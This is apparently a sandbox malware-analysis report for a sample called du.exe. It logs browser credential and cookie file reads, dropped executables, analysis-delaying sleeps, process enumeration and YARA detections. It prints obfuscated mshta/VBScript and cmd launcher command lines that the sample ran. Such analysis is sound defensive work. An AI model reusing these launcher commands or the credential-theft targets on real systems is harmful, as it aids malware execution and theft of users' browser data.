NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d25000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 5, 2021, 1:19 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d26000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

du.exe tried to sleep 163 seconds, actually delayed analysis time by 163 seconds

Steals private information from local Internet browsers (5 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local State

Looks up the external IP address (1 event)

domain

api.ipify.org

Creates executable files on the filesystem (14 events)

file	C:\Users\test22\Documents\nL9CgWrUdtIUqXpY6oJaJIyM.exe
file	C:\Users\test22\Documents\FbLQwhWvNXEkfh5ddzkhlud2.exe
file	C:\Users\test22\Documents\HF9OheAjvPvrYsgJdN2blsSS.exe
file	C:\Users\test22\Documents\HeWMLJe0hvVWYHsnl9B2S4Dv.exe
file	C:\Users\test22\Documents\ofymRQhBaCBJsDIbtv8QxXiD.exe
file	C:\Users\test22\Documents\X6B0A3s4YgZ1oFdLx9IQ6ywo.exe
file	C:\Users\test22\Documents\RBbvNFh5vuSSLqivOTU8yu1R.exe
file	C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe
file	C:\Users\test22\Documents\bs7ylW80ZxjuvSD1MA8UPRPz.exe
file	C:\Users\test22\Documents\rIx0vMER6u5uFikafrLZc0tA.exe
file	C:\Users\test22\Documents\SAsKafuNMa1EOidkrMoXdXlM.exe
file	C:\Users\test22\Documents\rgL9b9gU8SlRste7zCJdgwva.exe
file	C:\Users\test22\Documents\PpnOn8liJX3aK7YNgZgUxpNB.exe
file	C:\Users\test22\Documents\DJtHiqofXxujoI7GumjaPR5W.exe

Creates a suspicious process (10 events)

cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	mShta vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	"C:\Windows\System32\regsvr32.exe" -U /S 9ETO.DC
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF """" == """" for %r in ( ""C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	"C:\Windows\System32\mshta.exe" vBSCriPT: cloSE ( createOBjEcT ("WScRIPt.ShElL" ).RUN( "CMd.ExE /q/c cOPY /y ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc & IF ""/p9CkDrncOIjEyCJoKJOSPrvHhMc "" == """" for %r in ( ""C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe"" ) do taskkill -Im ""%~nxr"" -F > NUl " , 0) )
cmdline	regsvr32.exe -U /S 9ETO.DC
cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	"C:\Windows\System32\cmd.exe" /q/c cOPY /y "C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" ) do taskkill -Im "%~nxr" -F > NUl
cmdline	CMd.ExE /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl

Drops a binary and executes it (5 events)

file	C:\Users\test22\Documents\RBbvNFh5vuSSLqivOTU8yu1R.exe
file	C:\Users\test22\Documents\ofymRQhBaCBJsDIbtv8QxXiD.exe
file	C:\Users\test22\Documents\FbLQwhWvNXEkfh5ddzkhlud2.exe
file	C:\Users\test22\Documents\nL9CgWrUdtIUqXpY6oJaJIyM.exe
file	C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\9ETO.DC

Executes one or more WMI queries (1 event)

wmi	SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "uj1otAn268mpyDOEos1bNvOh.exe")

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 5, 2021, 1:28 p.m.	show_type: 0 filepath_r: CMd.ExE parameters: /q/c cOPY /y "C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF ""=="" for %r in ("C:\Users\test22\Documents\uj1otAn268mpyDOEos1bNvOh.exe" ) do taskkill -Im "%~nxr" -F > NUl filepath: CMd.ExE	1	1	0
ShellExecuteExW April 5, 2021, 1:28 p.m.	show_type: 0 filepath_r: CMd.ExE parameters: /q/c cOPY /y "C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" PnN9X7~.exe >NUl && stArT PnN9X7~.exe /p9CkDrncOIjEyCJoKJOSPrvHhMc &IF "/p9CkDrncOIjEyCJoKJOSPrvHhMc "=="" for %r in ("C:\Users\test22\AppData\Local\Temp\PnN9X7~.exe" ) do taskkill -Im "%~nxr" -F > NUl filepath: CMd.ExE	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (44 events)

Time & API	Arguments	Status	Return
Process32FirstW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: [System Process] process_identifier: 0	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: System process_identifier: 4	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: smss.exe process_identifier: 224	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: csrss.exe process_identifier: 300	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: wininit.exe process_identifier: 348	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: csrss.exe process_identifier: 364	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: winlogon.exe process_identifier: 396	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: services.exe process_identifier: 440	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: lsass.exe process_identifier: 456	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: lsm.exe process_identifier: 464	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 568	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 640	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 700	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 776	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 824	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: audiodg.exe process_identifier: 892	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 968	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 264	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: spoolsv.exe process_identifier: 820	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 292	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 1192	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: srvany.exe process_identifier: 1244	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: taskhost.exe process_identifier: 1284	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: KMService.exe process_identifier: 1324	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: conhost.exe process_identifier: 1376	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: sppsvc.exe process_identifier: 1800	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: svchost.exe process_identifier: 1876	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: dwm.exe process_identifier: 1496	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: explorer.exe process_identifier: 1848	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: pw.exe process_identifier: 2816	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: SearchIndexer.exe process_identifier: 2940	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: SearchProtocolHost.exe process_identifier: 1480	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: SearchFilterHost.exe process_identifier: 3040	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: pw.exe process_identifier: 3060	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: taskhost.exe process_identifier: 812	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: du.exe process_identifier: 1016	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: nL9CgWrUdtIUqXpY6oJaJIyM.exe process_identifier: 1436	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: SAsKafuNMa1EOidkrMoXdXlM.exe process_identifier: 2880	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: uj1otAn268mpyDOEos1bNvOh.exe process_identifier: 3056	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: cmd.exe process_identifier: 2520	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: conhost.exe process_identifier: 1476	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: PnN9X7~.exe process_identifier: 2632	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: inject-x86.exe process_identifier: 2364	1	1
Process32NextW April 5, 2021, 1:28 p.m.	snapshot_handle: 0x000002d8 process_name: mshta.exe process_identifier: 752	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 5, 2021, 1:19 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 5, 2021, 1:28 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (50 out of 121 events)

url	http://crl.comodo.net/TrustedCertificateServices.crl0
url	http://users.ocsp.d-trust.net03
url	http://crl.ssc.lt/root-b/cacrl.crl0
url	http://crl.securetrust.com/STCA.crl0
url	http://crl.securetrust.com/SGCA.crl0
url	http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
url	http://www.ssc.lt/cps03
url	http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0
url	http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
url	http://www.microsoft.com/pki/certs/TrustListPCA.crt0
url	https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
url	http://www.pkioverheid.nl/policies/root-policy0
url	http://cps.chambersign.org/cps/chambersroot.html0
url	http://www.e-szigno.hu/SZSZ/0
url	http://www.entrust.net/CRL/Client1.crl0
url	http://crl.chambersign.org/publicnotaryroot.crl0
url	http://crl.comodo.net/AAACertificateServices.crl0
url	http://www.certplus.com/CRL/class3.crl0
url	http://logo.verisign.com/vslogo.gif0
url	http://www.acabogacia.org/doc0
url	http://www.disig.sk/ca/crl/ca_disig.crl0
url	https://www.catcert.net/verarrel
url	http://www.sk.ee/cps/0
url	http://www.quovadis.bm0
url	https://www.catcert.net/verarrel05
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
url	http://crl.chambersign.org/chambersroot.crl0
url	http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
url	http://crl.globalsign.net/root-r2.crl0
url	http://certificates.starfieldtech.com/repository/1604
url	http://www.d-trust.net0
url	http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
url	http://crl.ssc.lt/root-a/cacrl.crl0
url	http://crl.usertrust.com/UTN-DATACorpSGC.crl0
url	http://www.certicamara.com/certicamaraca.crl0
url	http://www.d-trust.net/crl/d-trust_root_class_2_ca_2007.crl0
url	http://crl.usertrust.com/UTN-USERFirst-Object.crl0)
url	http://www.post.trust.ie/reposit/cps.html0
url	http://qual.ocsp.d-trust.net0
url	http://www2.public-trust.com/crl/ct/ctroot.crl0
url	http://www.certicamara.com0
url	http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
url	http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
url	http://www.comsign.co.il/cps0
url	http://crl.usertrust.com/UTN-USERFirst-NetworkApplications.crl0
url	http://www.microsoft.com/pki/crl/products/TrustListPCA.crl
url	http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
url	http://www.signatur.rtr.at/de/directory/cps.html0
url	http://www.globaltrust.info0

Yara rule detected in process memory (50 out of 65 events)

description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_files_operation
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_files_operation
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Code injection with CreateRemoteThread in a remote process	rule	inject_thread
description	Create a windows service	rule	create_service
description	Create a COM server	rule	create_com_service
description	Communications over UDP network	rule	network_udp_sock
description	Listen for incoming communication	rule	network_tcp_listen
description	Communications over P2P network	rule	network_p2p_win
description	Communications over HTTP	rule	network_http
description	File downloader/dropper	rule	network_dropper
description	Communications over FTP	rule	network_ftp
description	Communications over RAW socket	rule	network_tcp_socket
description	Communications use DNS	rule	network_dns
description	Communication using dga	rule	network_dga
description	Escalade priviledges	rule	escalate_priv
description	Take screenshot	rule	screenshot
description	Run a keylogger	rule	keylogger
description	Steal credential	rule	cred_local
description	Record Audio	rule	sniff_audio
description	APC queue tasks migration	rule	migrate_apc
description	Malware can spread east-west file	rule	spreading_file
description	Malware can spread east-west using share drive	rule	spreading_share
description	Create or check mutex	rule	win_mutex
description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_private_profile
description	Affect private profile	rule	win_files_operation
description	Match Winsock 2 API library declaration	rule	Str_Win32_Winsock2_Library
description	Match Windows Inet API library declaration	rule	Str_Win32_Wininet_Library
description	Match Windows Inet API call	rule	Str_Win32_Internet_API

Queries for potentially installed applications (50 out of 77 events)

Time & API	Arguments	Status
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000002dc options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40 base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40 base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW April 5, 2021, 1:28 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData base_handle: 0x80000002 key_handle: 0x000002e0 options: 0 access: 0x00000001 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
